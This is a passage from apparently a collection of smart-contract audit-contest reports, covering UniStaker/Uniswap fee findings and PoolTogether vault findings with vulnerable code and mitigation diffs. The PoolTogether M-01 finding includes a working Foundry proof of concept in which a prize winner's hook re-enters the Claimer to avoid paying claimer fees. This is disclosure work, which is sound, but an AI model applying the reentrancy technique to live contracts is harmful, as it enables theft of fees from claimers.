231 | (scaledRewardRate * REWARD_DURATION) > (REWARD_TOKEN.balanceOf(address(this)) * SCALE_FACTOR)
232 | ) revert UniStaker__InsufficientRewardBalance();
233 |
234 | ...
235 | }
236 | ```
237 |
238 | If the contract receives a donation, let's say 1 WETH. An extra 1 WETH will be considered, whenever a reward is sent, and `notifyRewardAmount` is fired.
239 |
240 | So the `_amount` value can be atmost 1 WETH less than the actual amount sent by the notifier (if there are no remaining rewards for example).
241 |
242 | This issue differs from the case Trail Of Bits mentions, as the problem we mentioned is not because of unclaimed rewards by the users, but because of donations the contract received.
243 |
244 | UniStaker devs mentioned that the notifier is required to send `_amount` before calling notify, so we preferred to make it a LOW issue.
245 |
246 | ### Recommendations
247 | Mitigating this may be a little hard, as we will need to track the amount sent by notifiers, compare the real balance with the amount sent by notifiers, and take suitable actions. And tracking the number of tokens transferred is not an easy task, and will require some changes to `UniStaker`.
248 |
249 | As Trail Of Bits said in their report, mitigating the issue will be hard, and UniStaker devs decided to document the check. So I provide adding in the comment that donations can get the check permanently off.
250 |
251 | ---
252 |
253 | ## [L-03] MEV searcher will not claim the fees for the swaps that occurred after initializing `claimFees` function
254 | In the implementation of `V3FactoryOwner::claimFee` the caller must provide the amount of tokens (first and second pairs) he wants to withdraw, and there is a check that the amount taken is not less than the amount requested by the user
255 |
256 | [V3FactoryOwner.sol#L189-L195](https://github.com/code-423n4/2024-02-uniswap-foundation/blob/main/src/V3FactoryOwner.sol#L189-L195)
257 | ```solidity
258 | function claimFees(... , uint128 _amount0Requested, uint128 _amount1Requested) external returns (uint128, uint128) {
259 | ...
260 |
261 | (uint128 _amount0, uint128 _amount1) =
262 | _pool.collectProtocol(_recipient, _amount0Requested, _amount1Requested);
263 |
264 | // Protect the caller from receiving less than requested. See `collectProtocol` for context.
265 | // @audit check that the amount we received is not less than that we requested
266 | if (_amount0 < _amount0Requested || _amount1 < _amount1Requested) {
267 | revert V3FactoryOwner__InsufficientFeesCollected();
268 | }
269 | ...
270 | }
271 | ```
272 |
273 | So the MEV will not be able to extract the maximum profit from the pool (all fees), if there are some swaps or flash loans done at the time the MEV searcher function was in the mempool.
274 |
275 | - Let's say the swap fee is 1 token for each pair
276 | - Fees now are (100,100)
277 | - MEV searcher fired `claimFee` with amounts requested (100,100)
278 | - Some swaps were in the mempool and occurred before `claimFee` and the total fees are (105,105) now
279 | - MEV searcher will only claim 100 from each pair
280 |
281 | If the amount requested by the called of the `claimFee` is greater than the protocol fees, the amount gets downed to the maximum in `uniswapv3-pools`
282 |
283 | [UniswapV3Pool.sol#L853-L854](https://github.com/Uniswap/v3-core/blob/d8b1c635c275d2a9450bd6a78f3fa2484fef73eb/contracts/UniswapV3Pool.sol#L853-L854)
284 | ```solidity
285 | function collectProtocol(address recipient, uint128 amount0Requested, uint128 amount1Requested) ... ( ... ) {
286 | // @audit make the amount equals the fees collected if the amount requested is greater than collected
287 | amount0 = amount0Requested > protocolFees.token0 ? protocolFees.token0 : amount0Requested;
288 | amount1 = amount1Requested > protocolFees.token1 ? protocolFees.token1 : amount1Requested;
289 |
290 | ...
291 | }
292 | ```
293 |
294 | So the amount can be set to a big value by the MEV searcher to guarantee the maximum profit, but because of the `V3OwnerFactory::claimFees` check, the amount received will be < requested and the function will get reverted.
295 |
296 | ### Recommendations
297 | We can make a mechanism similar to the `minAmountOut` which prevents sandwich attacks.
298 |
299 | The caller will provide an amount to request for claiming, and a minimum amount to receive parameters, and if the received amount is < min, the function gets reverted.
300 |
301 | Here is a sample of how this can be implemented
302 | > V3FactoryOwner::claimFee()
303 | ```diff
304 | function claimFees(
305 | IUniswapV3PoolOwnerActions _pool,
306 | address _recipient,
307 | uint128 _amount0Requested,
308 | uint128 _amount1Requested,
309 | + uint128 _amount0Min,
310 | + uint128 _amount1Min
311 | ) external returns (uint128, uint128) {
312 | PAYOUT_TOKEN.safeTransferFrom(msg.sender, address(REWARD_RECEIVER), payoutAmount);
313 | REWARD_RECEIVER.notifyRewardAmount(payoutAmount);
314 | (uint128 _amount0, uint128 _amount1) =
315 | _pool.collectProtocol(_recipient, _amount0Requested, _amount1Requested);
316 |
317 | // Protect the caller from receiving less than requested. See `collectProtocol` for context.
318 | - if (_amount0 < _amount0Requested || _amount1 < _amount1Requested) {
319 | + if (_amount0 < _amount0Min || _amount1 < _amount1Min) {
320 | revert V3FactoryOwner__InsufficientFeesCollected();
321 | }
322 | emit FeesClaimed(address(_pool), msg.sender, _recipient, _amount0, _amount1);
323 | return (_amount0, _amount1);
324 | }
325 | ```
326 |
327 | So the caller (MEV searcher) can call the function providing the requested amounts with `type(uint128).max` for example, and set the minimum to the current fees the protocol collects, or the amount that makes him gain a profit.
328 |
329 | ---
330 |
331 | ## [L-04] Signatures do not have a deadline, even the significant ones
332 |
333 | In `UniStaker.sol`, all functions like (stake and withdraw) can get fired on behalf of the user, where the user (deposited) signs the message and either a 3rth party fires it or he fires it himself.
334 |
335 | Functions like (stake, stakeMore, and claim), which transfers funds, do not have a `deadline` parameter, All functions do not have a deadline parameter, but we want to point to the critical ones.
336 |
337 | We can see in `permit` for example, that the function has a `deadline`, as it makes the user allow another party to spend his token, and the case is the same for staking, withdrawing, etc..., So having a `deadline` parameter in the signature, and a `deadline` check is useful in this case.
338 |
339 | ### Recommendations
340 | Provide a `deadline` parameter for signatures of the critical functions like `stake*()` and `stakeMore*()`, and we can check this `deadline` in `UniStaker::_revertIfSignatureIsNotValidNow()` function.
341 |
342 | > UniStaker::_revertIfSignatureIsNotValidNow
343 | ```diff
344 | function _revertIfSignatureIsNotValidNow(
345 | address _signer,
346 | bytes32 _hash,
347 | bytes memory _signature,
348 | + uint256 deadline
349 | )
350 | internal
351 | view
352 | {
353 | bool _isValid = SignatureChecker.isValidSignatureNow(_signer, _hash, _signature);
354 | if (!_isValid) revert UniStaker__InvalidSignature();
355 |
356 | + // deadline will be `type(uint256).max` for the functions that do not have deadline, or want to allow signature forever
357 | + if (deadline != type(uint256).max) {
358 | + require(block.timestamp <= deadline, "UniStaker: Signature expired");
359 | + }
360 | }
361 | ```
362 |
363 | ---
364 |
365 | ## [L-05] Stake More signature do not check beneficiary address changing
366 |
367 | In `UniStaker` contract, `STAKE_MORE_TYPEHASH` does not contain the beneficiary address in consideration. So the beneficiary address can get changed after signing the message, and this will end up adding funds to the new beneficiary address, and not the one that existed when signing the message.
368 |
369 | [src/UniStaker.sol#L106-L107](https://github.com/code-423n4/2024-02-uniswap-foundation/blob/main/src/UniStaker.sol#L106-L107)
370 | ```solidity
371 | bytes32 public constant STAKE_MORE_TYPEHASH = // @audit beneficiary is not passed in the signature
372 | keccak256("StakeMore(uint256 depositId,uint256 amount,address depositor,uint256 nonce)");
373 | ```
374 |
375 | - Let's say a deposit has a beneficiary address `0x01`
376 | - Message signed by the deposit owner, for giving `0x01` the ability to stake
377 | - depositor changed the beneficial address to `0x02`, to let him earn yields too
378 | - The first beneficiary `0x01` fired `stakeMoreOnBehalf` with his signature signature
379 | - Money goes to the `0x02` instead of `0x01`
380 |
381 | Since the deposit owner is the one who can make the signatures, and the one who will alter the beneficiary, the problem is not critical, and the severity of it is low. But maybe for further protocol integrations, this can happen who knows?
382 |
383 | ### Recommendations
384 | Add `beneficiary` parameter to `STAKE_MORE_TYPEHASH` signature, and provide it with the signature, so that if the beneficiary changes, the message will be invalid
385 |
386 | ---
387 | ---
388 | ---
389 |
390 | ## [NC-01] FactoryOwner cannot activate more than one pool at a time
391 | In `V3FactoryOwner::setFeeProtocol`, the function accepts only one pool to activate the fees on it, and the function is restricted to admins.
392 |
393 | Since it's planned to make Uni Governance contract the admin, adding a new pool, will need to make proposal, then vote, then agree, and execute in the last which is not a straight thing.
394 |
395 | New ERC20 tokens will launch and pools for them created, so to accept these token pools for fees, you will have to make Governance proposals again and again for each pool separately.
396 |
397 | - Let's say token `XYZ` is a new and powerful token launched
398 | - The token has 5 pools (WETH, USDC, ...)
399 | - If we want to accept fees from all pools for that token, we will have to make a proposal for each pole, separately.
400 |
401 | ### Recommendations
402 | I recommend making the function to set pool fees in batches, where pools are passed to the function as an array, and the function goes to each pool and activates it, this will allow the governance to accept more than one pool in a single proposal.
403 |
404 | And instead of modifying the function itself, we can add another function for adding more than one pool for verbosity and flexibility.
405 |
406 | ---
407 |
408 | ## [NC-02] Values are not checked that they differ from the old values when altering them
409 | In `Unistaker::_alterDelegatee` and `Unistaker::_alterBeneficiary`, the new value provided is not checked if it is the same as the old value or not, changing by providing the same value will cause emitting events with no meaning and may cause confusion.
410 |
411 | ### Recommendations
412 | Check that the new address provided either the new delegatee or the new beneficiary equals the old one or not.
413 |
414 | ---
415 |
416 | ## [NC-03] Unauthorized error has no parameters in `V3FactoryOwner`
417 |
418 | In `UniStaker` contract, the unauthorized error has two parameters as it is used to authorize both the notifier and the admin.
419 |
420 | [UniStaker.sol#L73](https://github.com/code-423n4/2024-02-uniswap-foundation/blob/main/src/UniStaker.sol#L73)
421 | ```solidity
422 | error UniStaker__Unauthorized(bytes32 reason, address caller);
423 | ```
424 |
425 | But in the case of `V3FactoryOwner`, the error has no parameters, and it is named unauthorized too.
426 |
427 | [V3FactoryOwner.sol#L54](https://github.com/code-423n4/2024-02-uniswap-foundation/blob/main/src/V3FactoryOwner.sol#L54)
428 | ```solidity
429 | error V3FactoryOwner__Unauthorized();
430 | ```
431 |
432 | ### Recommendations
433 | Either provide a message in the `V3FactoryOwner__Unauthorized`, or we can change the error name to `V3FactoryOwner__NotAdmin`, so that it will be easy for frontend devs to handle the error in the UI.
434 |
435 | ---
436 |
437 | ## [NC-04] Type definition should be at the top
438 | In `UniStaker` contract, the type definition of `DepositIdentifier` is presented inside the contract, this is not a good practice, and type definitions are preferred to be at the top of the file.
439 |
440 | [UniStaker.sol#L31-L32](https://github.com/code-423n4/2024-02-uniswap-foundation/blob/main/src/UniStaker.sol#L31-L32)
441 | ```solidity
442 | contract UniStaker is INotifiableRewardReceiver, Multicall, EIP712, Nonces {
443 | type DepositIdentifier is uint256;
444 |
445 | ...
446 | }
447 | ```
448 |
449 | ### Recommendations
450 | Put the type declaration in the top of the file
451 |
452 | ---
453 |
454 | ## [NC-05] Time-weighted contributions staking algorism is activated only after the first reward notified
455 |
456 | The staking algorism implemented by `synthetix` activates only after the first reward notified, what I mean by this is that as long as the first reward has not been notfyied yet, the one who staked on the early will gain the same as the one who staked before norifying the first reward by some minutes.
457 |
458 | Since this is how the algorism work, solving this is not ideal, and can cause more issues. But I wanted to point out this here so that devs notice about this thing.
459 |
460 | ### Recommendations
461 | Make the first `notify` as early as you can.
462 |
463 | - Protocol launched
464 | - Stakeholders staked their funds
465 | - Notify rewards as early as you can
466 |
467 | ---
468 |
469 | ## [NC-06] Fixed `payoutAmount` may cause some pools unprofitable to claim their fees
470 |
471 | In the current implementation of `V3FactoryOwner`, the `payoutAmount` is fixed for all pools activated. So the one who is going to claim fees and send rewards will have to pay that amount to collect pool actions fees.
472 |
473 | Since pools are not always active, and some pools may have fewer actions (swaps and flash loans), the fees collected by the protocol may not reach this limit forever (fees collected be smaller than the amount needed to be paid).
474 |
475 | ### Recommendations
476 | Since fixing `payoutAmount` is desired by the design, making a variety of payAmount for pools is not intended by the Dev team. So I recommend not adding pools that have fewer active swaps or interactions
477 |
--------------------------------------------------------------------------------
/Contests/2024-03-poolTogether.md:
--------------------------------------------------------------------------------
1 | # PoolTogether
2 | PoolTogether contest || Vaults, ERC4626 || 4 March 2024 to 11 March 2024 on [code4rena](https://code4rena.com/audits/2024-03-pooltogether#top)
3 |
4 | ## My Findings Summary
5 |
6 | |ID|Title|Severity|
7 | |--|-----|:------:|
8 | |[H-01](#h-01-prizevaultclaimyieldfeeshares-subtracts-all-fees-whatever-the-value-passed-to-it)|`PrizeVault::claimYieldFeeShares()` subtracts all fees whatever the value passed to it|HIGH|
9 | ||||
10 | |[M-01](#m-01-the-winner-can-steal-claimer-receipent-and-force-him-to-pay-for-the-gas)|The winner can steal claimer receipent, and force him to pay for the gas|MEDIUM|
11 | |[M-02](#m-02-unchecking-for-the-actual-assets-withdrawn-from-the-vault-can-prevent-users-from-withdrawing)|Unchecking for the actual assets withdrawn from the vault can prevent users from withdrawing|MEDIUM|
12 | ||||
13 | |[L-01](#l-01-claiming-yields-fees-can-be-done-in-recovery-mode-breaks-protocol-invariants)|Claiming Yields Fees can be done in `recovery mode` breaks protocol invariants|LOW|
14 | |[L-02](#l-02-checking-previous-approval-before-permit-is-done-with-strict-equality)|Checking previous approval before `permit()` is done with strict equality|LOW|
15 | |[L-03](#l-03-no-checking-for-breefy-vault-strategies-state-paused-or-not)|No checking for Breefy Vault strategies state (paused or not)|LOW|
16 | ||||
17 | |[NC-01](#nc-01-assets-must-precede-the-shares-according-to-the-erc4626-standard)|Assets must precede the shares according to the ERC4626 standard|INFO|
18 |
19 | ---
20 |
21 | ## [H-01] `PrizeVault::claimYieldFeeShares()` subtracts all fees whatever the value passed to it.
22 |
23 | ### Impact
24 |
25 | Fees are increased when the liquidator claims them and contributes to the prize, and the `yieldFeeReceipent` can claim them anytime he wants to.
26 |
27 | The fees are claimed by letting `yieldFeeReceipent` mint them.
28 |
29 | The function subtracts all fees from `yieldFeeBalance` (i.e. resetting it to zero), but mints to the `yieldFeeReceipent` the number of shares passed as a parameter only.
30 |
31 | [src/PrizeVault.sol#L611-L622](https://github.com/code-423n4/2024-03-pooltogether/blob/main/pt-v5-vault/src/PrizeVault.sol#L611-L622)
32 | ```solidity
33 | function claimYieldFeeShares(uint256 _shares) external onlyYieldFeeRecipient {
34 | if (_shares == 0) revert MintZeroShares();
35 |
36 | uint256 _yieldFeeBalance = yieldFeeBalance; // @audit getting all yeilds
37 | if (_shares > _yieldFeeBalance) revert SharesExceedsYieldFeeBalance(_shares, _yieldFeeBalance);
38 |
39 | yieldFeeBalance -= _yieldFeeBalance; // @audit subtracting all yeilds
40 |
41 | _mint(msg.sender, _shares); // @audit minting only the _shares value passed by the `yieldFeeRecipent`
42 |
43 | emit ClaimYieldFeeShares(msg.sender, _shares);
44 | }
45 | ```
46 |
47 | So the `yieldFeeRecipient` will lose its fees if he decides to claim a part from his yields.
48 |
49 |
50 | ### Further problems that will occur
51 |
52 | This will make the `prizeVault` earning yield calculations goes incorrect.
53 |
54 | Since `totalDept` is determined by adding `totalSupply` to the `yieldFeeBalance`.
55 |
56 | [PrizeVault.sol#L790-L792C6](https://github.com/code-423n4/2024-03-pooltogether/blob/main/pt-v5-vault/src/PrizeVault.sol#L790-L792C6)
57 | ```solidity
58 | function _totalDebt(uint256 _totalSupply) internal view returns (uint256) {
59 | return _totalSupply + yieldFeeBalance;
60 | }
61 | ```
62 |
63 | So `totalDept` will get decreased by a value greater than the value that `totalAssets` will increase (if the `yieldFeeRecipent` claimed part of his prize).
64 |
65 | which will make `prizeVault` think it earns yields from `yieldVault` but it is from the fee recipient's remaining amount in reality. And this amount can be then claimed by the `LiquidationPair`.
66 |
67 | The function is restricted to the `yieldFeeRecipent`, and decreasing `totalDept` by a value more than `totalAssets` will not cause any critical issues (DoS or others), it will just make `prizeVault` earn yields not from `yieldVault` (similar to donations state), so no further impacts will occur.
68 |
69 |
70 | ### Prood of Concept
71 |
72 | Let's take a scenario to illustrate the point:
73 |
74 | - The vault is receiving yields.
75 | - Liquidators are claiming these yields and participate in the prize pool.
76 | - `yieldFeeBalance` is increasing.
77 | - `yieldFeeBalance` reaches 1000.
78 | - The `yieldFeeRecipent` decided to claim 500.
79 | - `yieldFeeRecipent` fires `claimYieldFeeShares()`, and passed 500 shares.
80 | - `yieldFeeRecipent` mints 500 successfully.
81 | - All `yieldFeeBalance` dropped to zero instead of being 500 (1000 - 500).
82 |
83 | ### Tools Used
84 | Manual Review
85 |
86 | ### Recommended Mitigations
87 |
88 | 1. we can subtract the value of shares from `yieldFeeBalance`:
89 |
90 | > PrizeVault::claimYieldFeeShares
91 | ```diff
92 | function claimYieldFeeShares(uint256 _shares) external onlyYieldFeeRecipient {
93 | if (_shares == 0) revert MintZeroShares();
94 |
95 | uint256 _yieldFeeBalance = yieldFeeBalance;
96 | if (_shares > _yieldFeeBalance) revert SharesExceedsYieldFeeBalance(_shares, _yieldFeeBalance);
97 |
98 | - yieldFeeBalance -= _yieldFeeBalance;
99 | + yieldFeeBalance -= _shares;
100 |
101 | _mint(msg.sender, _shares);
102 |
103 | emit ClaimYieldFeeShares(msg.sender, _shares);
104 | }
105 | ```
106 |
107 | 2. Or We can disallow the `yieldFeeRecipent` from claiming part of the prize and mint all fees to him:
108 |
109 | > PrizeVault::claimYieldFeeShares
110 | ```solidity
111 | // The function after modification
112 | function claimYieldFeeShares() external onlyYieldFeeRecipient {
113 | if (yieldFeeBalance == 0) revert MintZeroShares();
114 |
115 | uint256 _yieldFeeBalance = yieldFeeBalance;
116 |
117 | yieldFeeBalance = 0;
118 |
119 | _mint(msg.sender, _yieldFeeBalance);
120 |
121 | emit ClaimYieldFeeShares(msg.sender, _yieldFeeBalance);
122 | }
123 | ```
124 |
125 |
126 | ---
127 |
128 | ## [M-01] The winner can steal claimer receipent, and force him to pay for the gas
129 |
130 | ### Impact
131 | When the winner earns his reward he can either claim it himself, or he can let a claimer contract withdraw it on his behaf, and he will pay part of his fees for that. This is as the user will not pay for the gas fees, instead the claimer contract will pay it instead.
132 |
133 | The problem here is that the winner can make the claimer pay for the gas of the transaction, without paying the fees that the claimer contract take.
134 |
135 | Claimer contracts are allowed for anyone to use them, transfer prizes to winners and claim some fees. where the one who fired the transaction is the one who will pay for the fees, so he deserved that fees.
136 |
137 | [pt-v5-claimer/Claimer.sol#L120-L150](https://github.com/GenerationSoftware/pt-v5-claimer/blob/main/src/Claimer.sol#L120-L150)
138 | ```solidity
139 | // @audit and one can call the function
140 | function claimPrizes( ... ) external returns (uint256 totalFees) {
141 | ...
142 |
143 | if (!feeRecipientZeroAddress) {
144 | ...
145 | }
146 |
147 | return feePerClaim * _claim(_vault, _tier, _winners, _prizeIndices, _feeRecipient, feePerClaim);
148 | }
149 | ```
150 |
151 |
152 | As in the function, the function takes winners, and he called set his fees (but it should not exceeds the maxFees which is initialzed in constructor).
153 |
154 | Now We know that anyone can transfer winners prizes and claim some fees.
155 |
156 | ---
157 |
158 | Before the prizes are claimed, the winner can initialze a hook before calling the `PoolPrize::claimPrize`, and this is used if the winner want to initialze another address as the receiver of the reward.
159 |
160 | The hook parameter is passed by parameters that are used to determine the correct winner (winner address, tier, prizeIndex).
161 |
162 | [abstract/Claimable.sol#L85-L95](https://github.com/code-423n4/2024-03-pooltogether/blob/main/pt-v5-vault/src/abstract/Claimable.sol#L85-L95)
163 | ```solidity
164 | uint24 public constant HOOK_GAS = 150_000;
165 |
166 | ...
167 |
168 | function claimPrize( ... ) external onlyClaimer returns (uint256) {
169 | address recipient;
170 |
171 | if (_hooks[_winner].useBeforeClaimPrize) {
172 | recipient = _hooks[_winner].implementation.beforeClaimPrize{ gas: HOOK_GAS }(
173 | _winner,
174 | _tier,
175 | _prizeIndex,
176 | _reward,
177 | _rewardRecipient
178 | );
179 | } else {
180 | recipient = _winner;
181 | }
182 |
183 | if (recipient == address(0)) revert ClaimRecipientZeroAddress();
184 |
185 | uint256 prizeTotal = prizePool.claimPrize( ... );
186 |
187 | ...
188 | }
189 |
190 | ```
191 |
192 | But to prevent OOG the gas is limited to 150K.
193 |
194 | ---
195 |
196 | Now What can the user do to make the claimer pay for the transaction, and do not pay any fees is:
197 |
198 | - he will make a `beforeClaimPrize` hook
199 | - In this function, the user will simply claim his reward `Claimer::claimPrizes(...params)` but with settings no fees, and only passing his winning prize parameters (we got them from the hook).
200 | - The winner (attacker) will not do any further interaction to not make the tx go `OOG` (remember we have only 150k).
201 | - After the user claims his reward, he will simply return his address (the winner's address).
202 | - The Claimer contract will go to claim this winner's rewards, but it will return 0 as it is already claimed.
203 | - The Claimer will complete his process (claiming other prizes on behalf of winners).
204 | - The winner (attacker) will end up claiming his reward without paying for the transaction gas fees.
205 |
206 | _Note: The Claimer claiming function will not revert, as if the prize was already claimed the function will just emit an event and will not revert_
207 |
208 | [Claimer.sol#L194-L198](https://github.com/GenerationSoftware/pt-v5-claimer/blob/main/src/Claimer.sol#L194-L198)
209 | ```solidity
210 | function _claim( ... ) internal returns (uint256) {
211 | ...
212 |
213 | try
214 | _vault.claimPrize(_winners[w], _tier, _prizeIndices[w][p], _feePerClaim, _feeRecipient)
215 | returns (uint256 prizeSize) {
216 | if (0 != prizeSize) {
217 | actualClaimCount++;
218 | } else {
219 | // @audit Emit an event if the prize already claimed
220 | emit AlreadyClaimed(_winners[w], _tier, _prizeIndices[w][p]);
221 | }
222 | } catch (bytes memory reason) {
223 | emit ClaimError(_vault, _tier, _winners[w], _prizeIndices[w][p], reason);
224 | }
225 |
226 | ...
227 | }
228 | ```
229 |
230 | The only Check that can prevent this attack is the gas cost of calling `beforeClaimPrize` hook.
231 |
232 | We will call one function `Claimer::claimPrizes()` by only passing one winner, and without fees. We calculated the gas that can be used by installing protocol contracts (Claimer and PrizePool), then grap a test function that first the function we need, and we got these results:
233 |
234 | - Calling `Claimer::claimPrize()` costs `5292 gas` if it did not claimed anything.
235 | - Calling `PrizePool::claimePrize()` costs `118124 gas`.
236 |
237 | So the total gas that can be used is $118,124 + 5292 = 123,416$. which is smaller than `HOOK_GAS` by more than `25K`, so the function will not revert because of OOG error, and the reentrancy will occur.
238 |
239 | _Another thing that may lead to mis-understanding is that the Judger may say ok if this happens the function will go to `beforeClaimPrize` hook again leading to infinite loop and the transaction will go `OOG`. But making the transaction `beforeClaimPrize` be fired to make a result and when called again do another logic is an easy task that can be made by implementing a counter or something. However, we did not implement this counter in our test. We just wanted to point out how the attack will work in our POC, but in real interactions, there should be some edge cases to take care of and further configurations to take care off._
240 |
241 | ### Proof of Concept
242 | We made a simulation of how the function will occur. We found that the testing environment made by the devs is abstracted a little bit compared to the real flow of transactions in the production mainnet, so I made Mock contracts, and simulated the attack with them. Please go for the testing script step by step, and it will work as intended.
243 |
244 | 1. Add the following Imports and scripts in [`test/Claimable.t.sol::L8`](https://github.com/code-423n4/2024-03-pooltogether/blob/main/pt-v5-vault/test/unit/Claimable.t.sol#L8)
245 |
246 |
247 |
248 | Imports and Contracts
249 |
250 | ```solidity
251 | import { console2 } from "forge-std/console2.sol";
252 | import { PrizePoolMock } from "../contracts/mock/PrizePoolMock.sol";
253 |
254 | contract Auditor_MockPrizeToken {
255 | mapping(address user => uint256 balance) public balanceOf;
256 |
257 | function mint(address user, uint256 amount) public {
258 | balanceOf[user] += amount;
259 | }
260 |
261 | function burn(address user, uint256 amount) public {
262 | balanceOf[user] -= amount;
263 | }
264 | }
265 |
266 | contract Auditor_PrizePoolMock {
267 | Auditor_MockPrizeToken public immutable prizeToken;
268 |
269 | constructor(address _prizeToken) {
270 | prizeToken = Auditor_MockPrizeToken(_prizeToken);
271 | }
272 |
273 | // The reward is fixed to 100 tokens
274 | function claimPrize(
275 | address winner,
276 | uint8 /* _tier */,
277 | uint32 /* _prizeIndex */,
278 | address /* recipient */,
279 | uint96 reward,
280 | address rewardRecipient
281 | ) public returns (uint256) {
282 | // Distribute rewards if the PrizePool earns a reward
283 | if (prizeToken.balanceOf(address(this)) >= 100e18) {
284 | prizeToken.mint(winner, 100e18 - uint256(reward)); // Transfer reward tokens to the winner
285 | // Transfer fees to the claimer Receipent.
286 | // Instead of adding balance to the PrizePool contract and then the claimerRecipent
287 | // Can withdraw it, we will transfer it to the claimerRecipent directly in our simulation
288 | prizeToken.mint(rewardRecipient, reward);
289 | // Simulating Token transfereing by minting and burning
290 | prizeToken.burn(address(this), 100e18);
291 | } else {
292 | return 0;
293 | }
294 |
295 | return uint256(100e18);
296 | }
297 | }
298 |
299 | contract Auditor_Claimer {
300 | ClaimableWrapper public immutable prizeVault;
301 |
302 | constructor(address _prizeVault) {
303 | prizeVault = ClaimableWrapper(_prizeVault);
304 | }
305 |
306 | function claimPrizes(
307 | address[] calldata _winners,
308 | uint8 _tier,
309 | uint256 _claimerFees,
310 | address _feeRecipient
311 | ) external {
312 | for (uint i = 0; i < _winners.length; i++) {
313 | prizeVault.claimPrize(_winners[i], _tier, 0, uint96(_claimerFees), _feeRecipient);
314 | }
315 | }
316 | }
317 | ```
318 |
319 |
320 | 2. Add the following functions in [`test/Claimable.t.sol::L132`](https://github.com/code-423n4/2024-03-pooltogether/blob/main/pt-v5-vault/test/unit/Claimable.t.sol#L132)
321 |
322 |
323 | Testing Functions
324 |
325 | ```solidity
326 | Auditor_Claimer __claimer;
327 |
328 | function testAuditor_winnerStealClaimerFees() public {
329 | console2.log("Winner reward is 100 tokens");
330 | console2.log("Fees are 10% (10 tokens)");
331 | console2.log("=============");
332 | console2.log("Simulating the normal Operation (No stealing)");
333 | auditor_complete_claim_proccess(false);
334 | console2.log("=============");
335 | console2.log("Simulating winner steal recipent fees");
336 | auditor_complete_claim_proccess(true);
337 | }
338 |
339 | function auditor_complete_claim_proccess(bool willSteal) internal {
340 | // If tier is 1 we will take the claimer fees and if 0 we will do nothing
341 | uint8 tier = willSteal ? 1 : 0;
342 |
343 | Auditor_MockPrizeToken __prizeToken = new Auditor_MockPrizeToken();
344 | Auditor_PrizePoolMock __prizePool = new Auditor_PrizePoolMock(address(__prizeToken));
345 |
346 | address __winner = makeAddr("winner");
347 | address __claimerRecipent = makeAddr("claimerRecipent");
348 |
349 | // This will be like the `PrizeVault` that has the winner
350 | ClaimableWrapper __claimable = new ClaimableWrapper(
351 | PrizePool(address(__prizePool)),
352 | address(1)
353 | );
354 |
355 | // Claimer contract, that can transfer winners rewards
356 | __claimer = new Auditor_Claimer(address(__claimable));
357 | // Set new Claimer
358 | __claimable.setClaimer(address(__claimer));
359 |
360 | VaultHooks memory beforeHookOnly = VaultHooks(true, false, hooks);
361 |
362 | vm.startPrank(__winner);
363 | __claimable.setHooks(beforeHookOnly);
364 | vm.stopPrank();
365 |
366 | // PrizePool earns 100 tokens from yields, and we picked the winner
367 | __prizeToken.mint(address(__prizePool), 100e18);
368 |
369 | address[] memory __winners = new address[](1);
370 | __winners[0] = __winner;
371 |
372 | // Claim Prizes by providing `__claimerRecipent`
373 | __claimer.claimPrizes(__winners, tier, 10e18, __claimerRecipent);
374 |
375 | console2.log("Winner PrizeTokens:", __prizeToken.balanceOf(__winner) / 1e18, "token");
376 | console2.log(
377 | "ClaimerRecipent PrizeTokens:",
378 | __prizeToken.balanceOf(__claimerRecipent) / 1e18,
379 | "token"
380 | );
381 | }
382 | ```
383 |
384 |
385 | 3. Change [`beforeClaimPrize`](https://github.com/code-423n4/2024-03-pooltogether/blob/main/pt-v5-vault/test/unit/Claimable.t.sol#L254-L274) hook function, and replace it with the following.
386 | ```solidity
387 | function beforeClaimPrize(
388 | address winner,
389 | uint8 tier,
390 | uint32 prizeIndex,
391 | uint96 reward,
392 | address rewardRecipient
393 | ) external returns (address) {
394 | address[] memory __winners = new address[](1);
395 | __winners[0] = winner;
396 |
397 | if (tier == 1) {
398 | __claimer.claimPrizes(__winners, 0, 0, rewardRecipient);
399 | }
400 |
401 | return winner;
402 | }
403 | ```
404 |
405 | 4. Check that everything is correct and run
406 |
407 | ```powershell
408 | forge test --mt testAuditor_winnerStealClaimerFees -vv
409 | ```
410 |
411 | **Output:**
412 | ```powershell
413 | Winner reward is 100 tokens
414 | Fees are 10% (10 tokens)
415 | =============
416 | Simulating the normal Operation (No stealing)
417 | Winner PrizeTokens: 90 token
418 | ClaimerRecipent PrizeTokens: 10 token
419 | =============
420 | Simulating winner steal recipient fees
421 | Winner PrizeTokens: 100 token
422 | ClaimerRecipent PrizeTokens: 0 token
423 | ```
424 |
425 | In this test, we first made a reward and withdraw it from our Claimer contract normally (no attack happened), and then we made another prize reward but by making the attack when withdrawing it, which can be seen in the Logs.
426 |
427 | ### Tools Used
428 | Manual Review + Foundry
429 |
430 | ### Recommended Mitigation Steps
431 | We can check the prize state before and after the hook and if it changed from unclaimed to claimed, we can revert the transaction.
432 |
433 | > Claimable.sol
434 | ```diff
435 | function claimPrize( ... ) external onlyClaimer returns (uint256) {
436 | address recipient;
437 |
438 | if (_hooks[_winner].useBeforeClaimPrize) {
439 | + bool isClaimedBefore = prizePool.wasClaimed(address(this), _winner, _tier, _prizeIndex);
440 | recipient = _hooks[_winner].implementation.beforeClaimPrize{ gas: HOOK_GAS }( ... );
441 | + bool isClaimedAfter = prizePool.wasClaimed(address(this), _winner, _tier, _prizeIndex);
442 |
443 | + if (isClaimedBefore == false && isClaimedAfter == true) {
444 | + revert("The Attack Occuared");
445 | + }
446 | } else { ... }
447 | ...
448 | }
449 |
450 | ```
451 |
452 | _NOTE: We wrote this issue 30min before ending of the contest so we did not checked for the grammar quality nor the words, and the mitigation review may not be the best, or may not work (we did not tested it), Devs should keep this in mind when mitigating this issue._
453 |
454 | ---
455 |
456 | ## [M-02] Unchecking for the actual assets withdrawn from the vault can prevent users from withdrawing
457 |
458 | When withdrawing assets from `PrizeVault`, the contract assumes that the requested assets for redeeming are the actual assets the contract (PrizeVault) received.
459 |
460 | [PrizeVault.sol#L936](https://github.com/code-423n4/2024-03-pooltogether/blob/main/pt-v5-vault/src/PrizeVault.sol#L936)
461 | ```solidity
462 | function _withdraw(address _receiver, uint256 _assets) internal {
463 | ...
464 | if (_assets > _latentAssets) {
465 | ...
466 | // @audit no checking for the returned value (assets)
467 | yieldVault.redeem(_yieldVaultShares, address(this), address(this));
468 | }
469 | if (_receiver != address(this)) {
470 | _asset.transfer(_receiver, _assets);
471 | }
472 | }
473 | ```
474 |
475 | Since the calculations are done by rounding Up asset value when getting shares in `previewWithdraw`, and then rounding Down shares when getting assets, there should not be any 1 wei rounding error.
476 |
